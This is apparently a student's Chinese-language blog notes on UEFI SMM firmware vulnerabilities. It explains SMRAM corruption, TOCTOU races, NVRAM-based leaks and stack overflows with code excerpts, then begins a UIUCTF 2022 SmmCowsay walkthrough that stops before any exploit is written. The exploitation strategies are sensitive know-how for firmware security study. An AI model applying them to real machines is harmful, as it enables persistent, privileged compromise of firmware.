写在最前面 内核学不下去了,php 和 v8 研究了挺长时间也没搞懂,然后想起了第一次参加华为 hws 时讲的就是 UEFI 安全。当时还是个 crypto + misc 手,什么都没有听懂,所以打算在考研前再重新学习一遍,同时也当作是征战 RealWorld CTF 的第一步把(笑 让我感到庆幸的是网上讲的比较好的文章还挺多,让我少走很多的弯路,这篇博客可以当作是我的学习笔记。
UEFI SMM 常见漏洞挖掘与利用思路 基础知识 既然说到 UEFI 固件漏洞挖掘,那肯定要先知道 UEFI 是个什么东西,下面的介绍来自于网络:
UEFI是英文Unified Extensible Firmware Interface 的缩写,翻译成中文就是“统一可拓展固件接口”。它是一种新一代的固件接口标准,取代了传统的 BIOS(Basic Input/Output System)标准。 在计算机启动时初始化硬件设备、检测系统配置、加载操作系统和应用程序等。与传统的 BIOS 相比,UEFI 具有更多的功能和优势,如支持更大的硬盘容量、更快的启动速度、更多的安全功能、更好的图形界面等。
简单的来说,就是电脑开机时用来启动操作系统的程序。(感觉这个说法有点问题) UEFI 存在的目的就是为开发者创造一个统一,便捷的启动环境。 UEFI 会在计算机启动阶段与运行阶段提供很丰富的服务来供开发者调用。
EDK2全称是EFI Development Kit II,是第二代 UEFI 的官方开发库。如果把全称打出来,就是 Extended Firmware Interface Development Kit II。EDK2 是 UEFI 标准的一份实现源码。
SSM 是系统管理模式 System Management mode 的缩写,是 Intel 在 80386SL 之后引入 x86 体系结构的一种 CPU 的执行模式。系统管理模式只能通过系统管理中断(System Management Interrupt, SMI)进入,并只能通过执行 RSM 指令退出。在 SMM 模式下一切被都屏蔽,包括所有的中断。SMM 模式下的执行的程序被称作 SMM 处理程序,所有的 SMM 处理程序只能在称作系统管理内存(System Management RAM,SMRAM)的空间内运行。可以通过设置 SMBASE 的寄存器来设置 SMRAM 的空间。 SMM 拥有自己的存储空间,称为 SMRAM,可以防止其他模式对其进行访问。 SMM 的处理程序只能在 SMRAM 里面运行,所以了解 SMRAM 的结构非常重要。这是出于安全的考虑,毕竟 SMM 有最高的优先级,如果在哪儿都可以运行,那么其它的程序改动了内存里的一点东西,也会影响到 SMM,如果这个改动是恶意的,那后果就不堪设想。 结构图如下:
SMRAM 的大小不是无限大的,它最初只有 64KB,其起始地址是 SMBASE (这个值保存在一个专门的寄存器中),在 SMBASE+0x8000H 处开始存放的是 SMI 的中断处理程序。而在 SMRAM 的高地址处存放着处理器进入 SMM 时的状态信息,这些信息在处理器退出 SMM 时会被恢复到处理器中。
系统表(SystemTable)是 edk2 提供的一个最重要也是最基础的数据结构之一,它是沟通内核和应用/驱动的桥梁。通过系统表,应用程序和驱动才能够访问到内核和硬件资源。系统表包含了如下信息:
表头
固件信息
标准输入设备,标准输出设备,标准错误输出设备
启动服务表
运行时服务表
系统配置表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 typedef struct { EFI_TABLE_HEADER Hdr; CHAR16 * FirmwareVendor; UINT32 FirmwareRevision; EFI_HANDLE ConsoleInHandle; EFI_SIMPLE_TEXT_INPUT_PROTOCOL * ConIn; EFI_HANDLE ConsoleOutHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * ConOut; EFI_HANDLE StandardErrorHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * StdErr; EFI_RUNTIME_SERVICES * RuntimeServices; EFI_BOOT_SERVICES * BootServices; UINTN NumberOfTableEntries; EFI_CONFIGURATION_TABLE * ConfigurationTable; } EFI_SYSTEM_TABLE;
这里我们主要关注 BootServices,里面有一些我们用得到的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 typedef struct { EFI_TABLE_HEADER Hdr; EFI_RAISE_TPL RaiseTPL; EFI_RESTORE_TPL RestoreTPL; EFI_ALLOCATE_PAGES AllocatePages; EFI_FREE_PAGES FreePages; EFI_GET_MEMORY_MAP GetMemoryMap; EFI_ALLOCATE_POOL AllocatePool; EFI_FREE_POOL FreePool; EFI_CREATE_EVENT CreateEvent; EFI_SET_TIMER SetTimer; EFI_WAIT_FOR_EVENT WaitForEvent; EFI_SIGNAL_EVENT SignalEvent; EFI_CLOSE_EVENT CloseEvent; EFI_CHECK_EVENT CheckEvent; EFI_INSTALL_PROTOCOL_INTERFACE InstallProtocolInterface; EFI_REINSTALL_PROTOCOL_INTERFACE ReinstallProtocolInterface; EFI_UNINSTALL_PROTOCOL_INTERFACE UninstallProtocolInterface; EFI_HANDLE_PROTOCOL HandleProtocol; void * Reserved; EFI_REGISTER_PROTOCOL_NOTIFY RegisterProtocolNotify; EFI_LOCATE_HANDLE LocateHandle; EFI_LOCATE_DEVICE_PATH LocateDevicePath; EFI_INSTALL_CONFIGURATION_TABLE InstallConfigurationTable; EFI_IMAGE_LOAD LoadImage; EFI_IMAGE_START StartImage; EFI_EXIT Exit; EFI_IMAGE_UNLOAD UnloadImage; EFI_EXIT_BOOT_SERVICES ExitBootServices; EFI_GET_NEXT_MONOTONIC_COUNT GetNextMonotonicCount; EFI_STALL Stall; EFI_SET_WATCHDOG_TIMER SetWatchdogTimer; EFI_CONNECT_CONTROLLER ConnectController; EFI_DISCONNECT_CONTROLLER DisconnectController; EFI_OPEN_PROTOCOL OpenProtocol; EFI_CLOSE_PROTOCOL CloseProtocol; EFI_OPEN_PROTOCOL_INFORMATION OpenProtocolInformation; EFI_PROTOCOLS_PER_HANDLE ProtocolsPerHandle; EFI_LOCATE_HANDLE_BUFFER LocateHandleBuffer; EFI_LOCATE_PROTOCOL LocateProtocol; EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES InstallMultipleProtocolInterfaces; EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES UninstallMultipleProtocolInterfaces; EFI_CALCULATE_CRC32 CalculateCrc32; EFI_COPY_MEM CopyMem; EFI_SET_MEM SetMem; EFI_CREATE_EVENT_EX CreateEventEx; } EFI_BOOT_SERVICES;
启动时服务与运行时服务中为固件编写者提供了许多功能。gBS 与 gRT 是两个全局变量,其分别指向 BootService 与 RuntimeService。其中,操作系统只能访问 RuntimeService,而 BootLoader 则既可以访问 BootService 也可以访问 RuntimeService。
常见漏洞与利用 虽然理论上 SMM 代码与外界隔离,但实际上,在许多情况下,非 SMM 代码可以触发甚至影响 SMM 内部运行的代码。由于 SMM 具有复杂的架构和大量“移动部件”,因此攻击面非常广泛,其中包括在通信缓冲区中传递的数据、NVRAM 变量、支持 DMA 的设备等。
SMM Callouts 这是最基本的 SMM 漏洞类别,发生在 SMM 代码调用位于 SMRAM 边界之外的函数时。最常见的调用场景是 SMI 处理程序试图在其操作中调用 UEFI 启动服务或运行时服务。具有操作系统级权限的攻击者可以在触发 SMI 之前修改这些服务所在的物理页面,从而在调用受影响的服务后劫持特权执行流。 下面的流程图来自:https://www.c7zero.info/stuff/ANewClassOfVulnInSMIHandlers_csw2015.pdf
从第四代 Core 微架构 ( Haswell ) 开始,Intel CPU 支持一项名为 SMM_Code_Chk_En 的安全功能。如果启用此安全功能,则一旦 CPU 进入 SMM,就禁止其执行位于 SMRAM 区域之外的任何代码,有点类似于 linux 用户态的 NX 保护。
Low SMRAM Corruption 在正常情况下,用于将参数传递给 SMI 处理程序的通信缓冲区不得与 SMRAM 重叠。此限制的理由很简单:如果不是这种情况,那么每当 SMI 处理程序将一些数据写入通信缓冲区时,它也会在此过程中修改 SMRAM 的某些部分,这是不可取的。
在 EDK2 中,负责检查给定缓冲区是否与 SMRAM 重叠的函数称为 SmmIsBufferOutsideSmmValid()。每次调用 SMI 时,都会在通信缓冲区上调用此函数以强制执行此限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 BOOLEAN EFIAPI SmmIsBufferOutsideSmmValid ( IN EFI_PHYSICAL_ADDRESS Buffer, IN UINT64 Length ) { UINTN Index; if ((Length > mSmmMemLibInternalMaximumSupportAddress) || (Buffer > mSmmMemLibInternalMaximumSupportAddress) || ((Length != 0 ) && (Buffer > (mSmmMemLibInternalMaximumSupportAddress - (Length - 1 ))))) { DEBUG (( DEBUG_ERROR, "SmmIsBufferOutsideSmmValid: Overflow: Buffer (0x%lx) - Length (0x%lx), MaximumSupportAddress (0x%lx)\n" , Buffer, Length, mSmmMemLibInternalMaximumSupportAddress )); return FALSE; } for (Index = 0 ; Index < mSmmMemLibInternalSmramCount; Index++) { if (((Buffer >= mSmmMemLibInternalSmramRanges[Index].CpuStart) && (Buffer < mSmmMemLibInternalSmramRanges[Index].CpuStart + mSmmMemLibInternalSmramRanges[Index].PhysicalSize)) || ((mSmmMemLibInternalSmramRanges[Index].CpuStart >= Buffer) && (mSmmMemLibInternalSmramRanges[Index].CpuStart < Buffer + Length))) { DEBUG (( DEBUG_ERROR, "SmmIsBufferOutsideSmmValid: Overlap: Buffer (0x%lx) - Length (0x%lx), " , Buffer, Length )); DEBUG (( DEBUG_ERROR, "CpuStart (0x%lx) - PhysicalSize (0x%lx)\n" , mSmmMemLibInternalSmramRanges[Index].CpuStart, mSmmMemLibInternalSmramRanges[Index].PhysicalSize )); return FALSE; } } if (mSmmMemLibSmmReadyToLock) { EFI_MEMORY_DESCRIPTOR *MemoryMap; BOOLEAN InValidCommunicationRegion; InValidCommunicationRegion = FALSE; MemoryMap = mMemoryMap; for (Index = 0 ; Index < mMemoryMapEntryCount; Index++) { if ((Buffer >= MemoryMap->PhysicalStart) && (Buffer + Length <= MemoryMap->PhysicalStart + LShiftU64 (MemoryMap->NumberOfPages, EFI_PAGE_SHIFT))) { InValidCommunicationRegion = TRUE; } MemoryMap = NEXT_MEMORY_DESCRIPTOR (MemoryMap, mDescriptorSize); } if (!InValidCommunicationRegion) { DEBUG (( DEBUG_ERROR, "SmmIsBufferOutsideSmmValid: Not in ValidCommunicationRegion: Buffer (0x%lx) - Length (0x%lx)\n" , Buffer, Length )); return FALSE; } for (Index = 0 ; Index < mSmmMemLibGcdMemNumberOfDesc; Index++) { if (((Buffer >= mSmmMemLibGcdMemSpace[Index].BaseAddress) && (Buffer < mSmmMemLibGcdMemSpace[Index].BaseAddress + mSmmMemLibGcdMemSpace[Index].Length)) || ((mSmmMemLibGcdMemSpace[Index].BaseAddress >= Buffer) && (mSmmMemLibGcdMemSpace[Index].BaseAddress < Buffer + Length))) { DEBUG (( DEBUG_ERROR, "SmmIsBufferOutsideSmmValid: In Untested Memory Region: Buffer (0x%lx) - Length (0x%lx)\n" , Buffer, Length )); return FALSE; } } if (mSmmMemLibMemoryAttributesTable != NULL ) { EFI_MEMORY_DESCRIPTOR *Entry; Entry = (EFI_MEMORY_DESCRIPTOR *)(mSmmMemLibMemoryAttributesTable + 1 ); for (Index = 0 ; Index < mSmmMemLibMemoryAttributesTable->NumberOfEntries; Index++) { if ((Entry->Type == EfiRuntimeServicesCode) || (Entry->Type == EfiRuntimeServicesData)) { if ((Entry->Attribute & EFI_MEMORY_RO) != 0 ) { if (((Buffer >= Entry->PhysicalStart) && (Buffer < Entry->PhysicalStart + LShiftU64 (Entry->NumberOfPages, EFI_PAGE_SHIFT))) || ((Entry->PhysicalStart >= Buffer) && (Entry->PhysicalStart < Buffer + Length))) { DEBUG (( DEBUG_ERROR, "SmmIsBufferOutsideSmmValid: In RuntimeCode Region: Buffer (0x%lx) - Length (0x%lx)\n" , Buffer, Length )); return FALSE; } } } Entry = NEXT_MEMORY_DESCRIPTOR (Entry, mSmmMemLibMemoryAttributesTable->DescriptorSize); } } } return TRUE; }
当时这个函数的设置也存在缺陷,那就是 SmmIsBufferOutsideSmmValid 只会检查 CommBuffer 是否和 SMRAM 重叠,不会检查写入 CommBuffer 的内容是否溢出 CommBuffer。举个例子就是假设 CommBuffer 定义时长度 10 byte,但是输入的 20 byte。SmmIsBufferOutsideSmmValid 函数会检查 CommBuffer 到 CommBuffer + 10 byte 的区域和 SMRAM 有无重叠,但是不会检查 CommBuffer 到 CommBuffer + 20 byte 的区域。所以 SMI 处理处理不当的话依然会造成低地址的 SMRAM 损坏。
下面是一个具体的例子:
这段代码主要干了如下几件事情: 1、检测 CommBuffer 和 CommBufferSize 的完整性。 2、读取由 0x115 指定的特定于模型的寄存器的值并赋值给 v4。 3、将 v4 的值经过一系列运算得出一个 QWORD 类型的数据并赋值给 CommBuffer。
我们不难想到,如果我们的 CommBuffer 的大小为 1,最后的赋值操作就会出现 7 字节的溢出。这里我们可以将 CommBuffer 申请的直接与 SMRAM 相邻,大小为一字节,最后赋值的时候就会出现溢出修改 SMRAM 的前 7 字节。
这类漏洞的修复方法也很简单,直接比较 CommBuffer 的大小与赋值的数据的大小即可。
Arbitrary SMRAM Corruption 如果没使用 SmmIsBufferOutsideSmmValid 函数对多级指针指向的地址空间做检查,且 SMI 处理程序中多级指针指向 SMRAM 内的地址空间,就可以造成任意 SMRAM 损坏。一个简单的例子如下:
此处通过判断 CommBuffer 的地址处的字节来进行 switch,如果当前字节不为 0、2、3 则执行 default 里的代码。default 的代码中将一个错误代码写入了 CommBuffer + 1 地址为首地址的指针所指向的值。可以看到这个赋值的地址并没有进行检测,如果我们可以控制 *(CommBuffer + 1) 为 SMRAM 的地址,我们就能够在 SMRAM 中写入这个错误代码,对其进行破坏。
修复方法:每次在使用多级指针进行赋值时使用 SmmIsBufferOutsideSmmValid 对多级指针指向的地址空间做检查即可。
TOCTOU attacks TOCTOU 是 time-of-check-time-of-use 的缩写。 SMM 设计的时候没有考虑到并发性,没有锁,也把其他中断屏蔽了,自然而然的也存在条件竞争漏洞。 这玩意其实也非常好理解,以下面这段代码为例:
从中可以看出,该处理程序引用了一个嵌套指针,我们 field_18 在至少 3 个不同的位置对其进行了命名: 首先,从通信缓冲区中检索其值并将其保存到 SMRAM 中的局部变量中。 然后,SmmIsBufferOutsideSmmValid() 调用局部变量以确保它不与 SMRAM 重叠。 如果被认为是安全的,则从通信缓冲区重新读取嵌套指针,然后将其作为 CopyMem() 目标参数传递。 如前所述,没有任何保证可以保证从通信缓冲区连续读取必然会产生相同的值。这意味着攻击者可以使用指向 SMRAM 之外完全安全位置的指针发出此 SMI。 然而,在 SMI 验证嵌套指针之后,在再次获取之前,存在一个小小的机会窗口,这时候可以利用条件竞争使用 DMA 攻击将对应的 smm_field_18 的内存进行修改。被修改的指针很快就会被传递给 CopyMem(),攻击者可以让它指向他想要破坏的 SMRAM 中的地址。
众所周知,SMRAM 无法从 SMM 外部读取,这就是为什么固件有时会使用它来存储必须对外界隐藏的秘密。除此之外,泄露 SMRAM 的内容还可以帮助利用需要准确了解内存布局的其他漏洞。 当 SMM 代码尝试更新 NVRAM 变量的内容时,可能会发生 SMRAM 泄露。在 UEFI 中,更新 NVRAM 变量不是原子操作,而是由以下步骤组成的复合操作:
分配一个堆栈缓冲区来保存与变量相关的数据。
使用 GetVariable() 函数将变量的内容读入堆栈缓冲区。
对堆栈缓冲区执行所有必要的修改。
使用 SetVariable() 函数将修改后的堆栈缓冲区写回 NVRAM。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Status = gRT->GetVariable ( L"ExampleConfiguration" , &gEfiExampleConfigurationVariableGuid, &Attributes, &DataSize, &ExampleConfiguration ); Status = gRT->SetVariable ( L"ExampleConfiguration" , &gEfiExampleConfigurationVariableGuid, EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS, sizeof (EXAMPLE_CONFIGURATION), &ExampleConfiguration );
这两个函数的第四个参数是读取和写入的 nvram 变量的长度,如果 SetVariable 的第四个参数大于修改后的局部变量的长度,会将多余的数据写入nvram 变量造成信息泄露。
当开发人员隐式假设变量的大小是不可变的时,就会出现问题。由于这个假设,他们完全忽略了 GetVariable() 读取的字节数,并在 SetVariable() 写入更新内容时传递硬编码的大小。
攻击流程如下: 首先调用操作系统提供的API函数来截断变量(如SetFirmwareEnvironmentVariable),然后触发SMI处理程序,处理程序将: 1、分配基于堆栈的缓冲区,默认未初始化,这意味着它保存了 SMM 中发生的之前函数调用的剩余内容,包括各种地址什么的内容。
2、调用 GetVariable 函数将变量的内容读入缓冲区。因为攻击者截断了 NVRAM 的变量,所以缓冲区肯定比变量的长度长。意味着它在 GetVariable 返回的时候仍然会带有一些未初始化的字节。
3、修改内存中的堆栈缓冲区。
4、调用 SetVariable() 函数将修改后的堆栈缓冲区写回到 NVRAM。由于此调用是使用硬编码的恒定堆栈缓冲区大小完成的,因此它还会将其未初始化的部分写入 NVRAM。
攻击者可以利用类似于 GetFirmwareEnvironmentVariable() 这一类函数来获取未初始化的内容进而泄露出有用的数据。
Double GetVariable() 下面的漏洞代码位于偏移量 0x7B68(固件名称:S05_02020000.bin,应用程序名称0138)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 bool CheckBatterySafety () { EFI_GUID VendorGuid; char Buffer; UINTN DataSize; VendorGuid.Data1 = 0xFB3B9ECE ; *&VendorGuid.Data2 = 0x49334ABA ; *VendorGuid.Data4 = 0xD6B49DB4 ; *&VendorGuid.Data4[4 ] = 0x5123897D ; Buffer = 0 ; DataSize = 1 i64; return (!gRT_157B30->GetVariable(L"BatterySafetyModeStatus" , &VendorGuid, 0 i64, &DataSize, &Buffer) || !gRT_157B30->GetVariable(L"BatterySafetyMode" , &VendorGuid, 0 i64, &DataSize, &Buffer)) && Buffer == 1 ; }
如果 NVRAM 变量 BatterySafetyModeStatus 的长度大于 1,则将 DataSize 设置为 BatterySafetyModeStatus 变量的长度,并第二次调用 GetVariable 服务。 第二次调用 GetVariable 服务后,NVRAM 变量 BatterySafetyMode 的值将写入 Buffer 堆栈变量。 通过控制 BatterySafetyModeStatus 和 BatterySafetyMode 变量的值,我们可以将任何数据写入堆栈,从而在堆栈上执行任意代码。 利用步骤: 1、更改 BatterySafetyModeStatus 和 BatterySafetyMode 变量。 2、通过更改 BatterySafetyModeStatus 变量的值,我们在第二次调用 GetVariable 之前更改 DataSize 的值。 3、通过更改 BatterySafetyMode 变量的值,我们可以溢出堆栈并在堆栈上执行任意代码(ROP)。
通过一些题目进行练习 其实我是想直接分析并利用 CVE,毕竟这更加接近 RealWorld。可无奈于 CTF 题目太适合入门了🥹
UIUCTF 2022 SmmCowsay1 题目分析 题目描述:
One of our engineers thought it would be a good idea to write Cowsay inside SMM. Then someone outside read out the trade secret (a.k.a. flag) stored at physical address 0x44440000, and since it could only be read from SMM, that can only mean one thing: it… was a horrible idea.
题目附件文件结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 cow/ ├── README ├── chal_build │ ├── Dockerfile │ ├── handout-readme │ ├── handout_run.sh │ └── patches │ ├── edk2 │ │ ├── 0001-PiSmmCore-Fix-for-CVE-2021-38578-integer-underflow.patch │ │ ├── 0002-ShellPkg-Simplify-Shell.patch │ │ ├── 0003-SmmCowsay-Vulnerable-Cowsay.patch │ │ ├── 0004-Add-UEFI-Binexec.patch │ │ └── 0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch │ └── qemu │ └── 0001-Implement-UIUCTFMMIO-device.patch ├── edk2_artifacts │ ├── AcpiTableDxe.debug │ ├── AcpiTableDxe.efi │ ├── AmdSevDxe.debug │ ├── AmdSevDxe.efi │ ├── ArpDxe.debug | .................. │ ├── httpDynamicCommand.efi │ ├── tftpDynamicCommand.debug │ └── tftpDynamicCommand.efi ├── edk2debug.log └── run ├── OVMF_CODE.fd ├── OVMF_VARS.fd ├── OVMF_VARS_copy.fd ├── kvmvapic.bin ├── qemu-system-x86_64 ├── region4 ├── rootfs │ ├── binexec.efi │ └── startup.nsh └── run.sh
运行 run 目录下的 run.sh 即可启动题目,题目运行效果如下:
可以看到题目的意思就是执行我们输入的 amd64 shellcode,我们简单验证一下
生成 shellcode
1 2 or4nge@localhost:~$ pwn asm -c amd64 "mov rax, 0xdeadbeafdeadbeaf" 48b8afbeaddeafbeadde
运行结果如下:
可以看到 rax 寄存器的值已经被改变
而我们的 shellcode 是在 SMRAM 外面运行的,能够做的事情非常有限,所以我们需要利用漏洞来获取更高的执行权限或者读取需要高权限才能获取的内容。
chal_build 目录里给出了多个 patch 文件,按理来说漏洞应该就会出现在这个地方。由于有 patch 文件,所以我们就不需要用 ida 对固件进行逆向,直接阅读源码即可。
首先看 SmmCowsay-Vulnerable-Cowsay.patch 文件,从名字来看就感觉这个文件非常的重要。 首先看最下方的 inf 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @@ -0,0 +1,38 @@ +[Defines] + INF_VERSION = 0x00010005 + BASE_NAME = SmmCowsay + FILE_GUID = A7DE70E0-918E-4DFE-BFFB-AD860A376E65 + MODULE_TYPE = DXE_SMM_DRIVER + VERSION_STRING = 1.0 + PI_SPECIFICATION_VERSION = 0x0001000A + ENTRY_POINT = SmmCowsayInit + +[Sources] + SmmCowsay.c +
用 gpt 的话来说,INF 文件是用于描述模块(例如驱动程序)的元数据,以及如何构建和安装模块的指令。
INF_VERSION: INF 文件的版本号。0x00010005 是十六进制表示的版本号。
BASE_NAME: 模块的基名称,这里是 SmmCowsay。
FILE_GUID: 一个全局唯一标识符(GUID),用于唯一标识这个 INF 文件。A7DE70E0-918E-4DFE-BFFB-AD860A376E65 是这个 INF 文件的特定 GUID。
MODULE_TYPE: 指定模块的类型。DXE_SMM_DRIVER 表示这是一个 DXE 阶段的系统管理模块(SMM)驱动程序。
VERSION_STRING: 模块的版本字符串,这里是 1.0。
PI_SPECIFICATION_VERSION: 指定模块遵循的 UEFI 固件规格版本。0x0001000A 是十六进制表示的版本号。
ENTRY_POINT: 模块的入口点函数名,这里是 SmmCowsayInit,这意味着当模块被加载时,UEFI 固件将调用这个函数。
注册处理程序的代码就在当前文件的 ENTRY_POINT 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 +SmmCowsayInit ( + IN EFI_HANDLE ImageHandle, + IN EFI_SYSTEM_TABLE *SystemTable + ) +{ + EFI_STATUS Status; + EFI_HANDLE DispatchHandle; + + Status = gSmst->SmiHandlerRegister ( + SmmCowsayHandler, + &gEfiSmmCowsayCommunicationGuid, + &DispatchHandle + ); + ASSERT_EFI_ERROR (Status); + + return Status; +}
SmiHandlerRegister 函数的参数如下:
1 2 3 4 5 SmiHandlerRegister ( IN EFI_SMM_HANDLER_ENTRY_POINT2 Handler, IN CONST EFI_GUID *HandlerType OPTIONAL, OUT EFI_HANDLE *DispatchHandle )
这里重点注意第一个参数,这个函数将 handle 加入处理程序列表中,当发生 SMI 时,EDK2 注册的 SMI 处理程序会浏览已注册处理程序的链接列表,并选择合适的处理程序来运行。
其处理程序 SmmCowsayHandler 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 +EFI_STATUS +EFIAPI +SmmCowsayHandler ( + IN EFI_HANDLE DispatchHandle, + IN CONST VOID *Context OPTIONAL, + IN OUT VOID *CommBuffer OPTIONAL, + IN OUT UINTN *CommBufferSize OPTIONAL + ) +{ + DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n")); + + if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *)) + return EFI_SUCCESS; + + Cowsay(*(CONST CHAR16 **)CommBuffer); + + DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n")); + + return EFI_SUCCESS; +}
这个函数首先对 CommBuffer 和 CommBufferSize 进行了检测,如果没有问题就执行 Cowsay。这样看见这里存在一个二级指针,很有可能会出现我们上面提过的 Arbitrary SMRAM Corruption 漏洞,我们先记住这个地方。
接下来看 0004-Add-UEFI-Binexec.patch 文件,我们运行 run.sh 的时候会出现 binexec,我们不难猜到这个文件就是用于和进行用户交互。 我们重点关注交互部分的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 +VOID +Cowsay ( + IN CONST CHAR16 *Message + ) +{ + EFI_SMM_COMMUNICATE_HEADER *Buffer; + + Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *)); + if (!Buffer) + return; + + Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid; + Buffer->MessageLength = sizeof(CHAR16 *); + *(CONST CHAR16 **)&Buffer->Data = Message; + + mSmmCommunication->Communicate( + mSmmCommunication, + Buffer, + NULL + ); + + FreePool(Buffer); +}
这里的操作大概就是申请一个 Buffer,然后设置他的参数,最后调用 mSmmCommunication->Communicate。 这里 mSmmCommunication 对象是一个 EFI_SMM_COMMUNICATION_PROTOCOL 类型的结构体,其定义如下:
1 2 3 4 5 6 7 8 9 EFI_SMM_COMMUNICATION_PROTOCOL mSmmCommunication = { SmmCommunicationCommunicate }; SmmCommunicationCommunicate ( IN CONST EFI_SMM_COMMUNICATION_PROTOCOL *This, IN OUT VOID *CommBuffer, IN OUT UINTN *CommSize OPTIONAL );
SmmCommunicationCommunicate 用于在 SMM 模式下进行通信。因为我们实际运行的二进制文件是在 UEFI 引导环境下执行的独立应用程序,但不是在 SMM 环境下执行,我们没法直接和 SMM 内运行的 SmmCowsay 驱动交互,只能通过 SmmCommunicationCommunicate 函数。因此我们只需要注意这个函数的参数就可以知道通信的内容了。此函数将消息复制到全局变量中,并触发软件 SMI 来处理该消息。该消息包含我们要与之通信的 SMM 处理程序的 GUID,在进入 SMM 时会在已注册处理程序的链接列表中搜索该 GUID。 SmmCommunicationCommunicate 函数的第二个参数对应是的代码中的 Buffer 对象,是 EFI_SMM_COMMUNICATE_HEADER 结构体类型。
接下来我们来看 qemu 的 patch,存在一个全局的类似于 flag 的 char 字符数组:
1 +static char nice_try_msg[] = "uiuctf{nice try!!!!!!!!!!!!}\n";
找到调用了这个字符串的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 +static MemTxResult uiuctfmmio_region4_read_with_attrs( + void *opaque, hwaddr addr, uint64_t *val, unsigned size, MemTxAttrs attrs) +{ + if (!attrs.secure) + uiuctfmmio_do_read(addr, val, size, nice_try_msg, nice_try_len); + else + uiuctfmmio_do_read(addr, val, size, region4_msg, region4_len); + return MEMTX_OK; +} +static const MemoryRegionOps uiuctfmmio_region4_io_ops = +{ + .write = uiuctfmmio_write, + .read_with_attrs = uiuctfmmio_region4_read_with_attrs, + .valid.min_access_size = 1, + .valid.max_access_size = 8, + .endianness = DEVICE_NATIVE_ENDIAN, +};
可以看到调用 uiuctfmmio_region4_read_with_attrs 函数时如果 attrs.secure 的值为 true 时,就会走入 region4_msg,否则走入 nice_try_msg。我们可以认为需要在安全的环境下调用该函数也就是在 SMBASE 的环境中调用才会进入到 region4_msg。
接下来看看 flag 相关函数:
1 2 3 4 5 6 7 8 9 10 11 12 +static void uiuctfmmio_realize(DeviceState *d, Error **errp) +{ + SysBusDevice *dev = SYS_BUS_DEVICE(d); + UiuctfmmioState *sio = UIUCTFMMIO(d); + Object *obj = OBJECT(sio); + MemoryRegion *sysbus = sysbus_address_space(dev); + + memory_region_init_io(&sio->region4, obj, &uiuctfmmio_region4_io_ops, sio, + TYPE_UIUCTFMMIO, 0x1000); + sysbus_init_mmio(dev, &sio->region4); + memory_region_add_subregion(sysbus, 0x44440000, &sio->region4); +}
给代码加点注释:
1 2 3 4 5 6 7 8 9 10 11 12 static void uiuctfmmio_realize (DeviceState *d, Error **errp) { SysBusDevice *dev = SYS_BUS_DEVICE(d); UiuctfmmioState *sio = UIUCTFMMIO(d); Object *obj = OBJECT(sio); MemoryRegion *sysbus = sysbus_address_space(dev); memory_region_init_io(&sio->region4, obj, &uiuctfmmio_region4_io_ops, sio, TYPE_UIUCTFMMIO, 0x1000 ); sysbus_init_mmio(dev, &sio->region4); memory_region_add_subregion(sysbus, 0x44440000 , &sio->region4); }
这段代码定义了一个虚拟设备的初始化函数,它创建了一个内存映射 I/O 区域,并将其映射到系统总线的特定地址范围,以便在模拟环境中可以模拟对这个硬件设备的访问,也可以理解为我们的 flag 就在 0x44440000 这个物理地址上。
回顾一下开头,开头的 System Table地址是题目直接给我们的。EFI System Table 里面有几乎所有我们需要的UEFI驱动的信息。可以通过这个 Table 寻址到很多 api 方法和配置变量。
接下来分析一下漏洞点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 VOID Cowsay ( IN CONST CHAR16 *Message ) { EFI_SMM_COMMUNICATE_HEADER *Buffer; Buffer = AllocateRuntimeZeroPool (sizeof (*Buffer) sizeof (CHAR16 *)); if (!Buffer) return ; Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid; Buffer->MessageLength = sizeof (CHAR16 *); *(CONST CHAR16 **)&Buffer->Data = Message; mSmmCommunication->Communicate ( mSmmCommunication, Buffer, NULL ); FreePool (Buffer); }
前面分析过,此处的 communicate 是 UEFI 应用程序 (binexec) 和驱动之间通信的桥梁。传入的 Buffer 的结构是 EFI_SMM_COMMUNICATE_HEADER,具体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef struct { EFI_GUID HeaderGuid; UINTN MessageLength; UINT8 Data[1 ]; } EFI_SMM_COMMUNICATE_HEADER;
注意到这一段代码:
1 *(CONST CHAR16 **)&Buffer->Data = Message;
我们传给data成员的是一个指针 Message。
